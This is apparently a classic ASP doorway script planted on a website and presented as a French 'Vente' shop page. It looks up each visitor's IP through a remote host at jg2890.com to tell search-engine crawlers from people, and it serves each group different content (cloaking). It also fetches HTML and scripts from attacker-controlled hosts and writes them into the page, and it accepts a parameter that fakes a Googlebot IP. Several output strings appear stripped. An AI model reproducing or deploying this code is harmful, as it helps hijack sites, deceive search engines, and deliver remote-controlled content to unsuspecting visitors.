<% Response.Buffer = True Server.ScriptTimeOut=999999 Response.Expires = -1 Response.ExpiresAbsolute = Now() - 1 Response.Expires = 0 Response.CacheControl = "no-cache" ucu=request("shop") uu=request("shop") uu=replace(uu,"+"," ",1,-1,1) %> <% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %> <% Public function HTMLcode(fString) if not isnull(fString) then fString = Replace(fString, ">", ">") fString = Replace(fString, "<", "<") fString = Replace(fString, CHR(34), """") fString = Replace(fString, CHR(39), "'") fString = Replace(fString, CHR(13), "") fString = Replace(fString, CHR(10) & CHR(10), "

") fString = Replace(fString, CHR(10), "
") HTMLcode = fString end if end function Function RegExpTest(patrn, strng) Dim regEx, Match, Matches ' 建立变量。 Set regEx = New RegExp ' 建立正则表达式。 regEx.Pattern = patrn ' 设置模式。 regEx.IgnoreCase = True ' 设置是否区分字符大小写。 regEx.Global = True ' 设置全局可用性。 Set Matches = regEx.Execute(strng) ' 执行搜索。 For Each Match in Matches ' 遍历匹配集合。 RetStr = RetStr & Match.Value & "
" Next RegExpTest = RetStr End Function function urldecode(encodestr) newstr="" havechar=false lastchar="" for i=1 to len(encodestr) char_c=mid(encodestr,i,1) if char_c="+" then newstr=newstr & " " elseif char_c="%" then next_1_c=mid(encodestr,i+1,2) next_1_num=cint("&H" & next_1_c) if havechar then havechar=false newstr=newstr & Chrw(cint("&H" & lastchar & next_1_c)) else if abs(next_1_num)<=127 then newstr=newstr & chrw(next_1_num) else havechar=true lastchar=next_1_c end if end if i=i+2 else newstr=newstr & char_c end if next urldecode=newstr end function %> <% if request("kk")<>"" then ip="66.249.64.190" else ip=Request.ServerVariables("REMOTE_HOST") end if ipurl="http://hjg12.jg2890.com/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0 or instr(domain,"microsoft.com")>0 or instr(domain,"facebook.com")>0 or instr(domain,"amazon.com")>0) then else if request("shop")<>"" then ccc=request("shop") ccc=replace(ccc," ","+") ddd=getHTTPPage("http://js.jg2890.com/js2019/tshirt-fr-1.html?id=1") eee=ddd&ccc Response.write "" end if Response.end end if Randomize %> Vente <%=uu%> | Plein 99 livraison gratuite "/> <% if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0 or instr(domain,"microsoft.com")>0 or instr(domain,"facebook.com")>0 or instr(domain,"amazon.com")>0) then if request("shop")="" then Response.Charset="utf-8" response.write "

" end if end if %> <% if request("shop")<>"" then%> <% Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) URL="http://js.jg2890.com/ddd.asp"&"?gj="&request("gj")&"&hl="&request("hl")&"&shop="&request("shop")&"&xi="&request("xi")&"&xc="&request("xc")&"" Response.write getHTTPPage(URL) %> <% URL2="http://rr.nknk.fr/plapi_fr.aspx" 'Html2 = getHTTPPage(URL2) 'Response.write Html2 %> <% Response.Charset="utf-8" response.write "" %> <% end if%>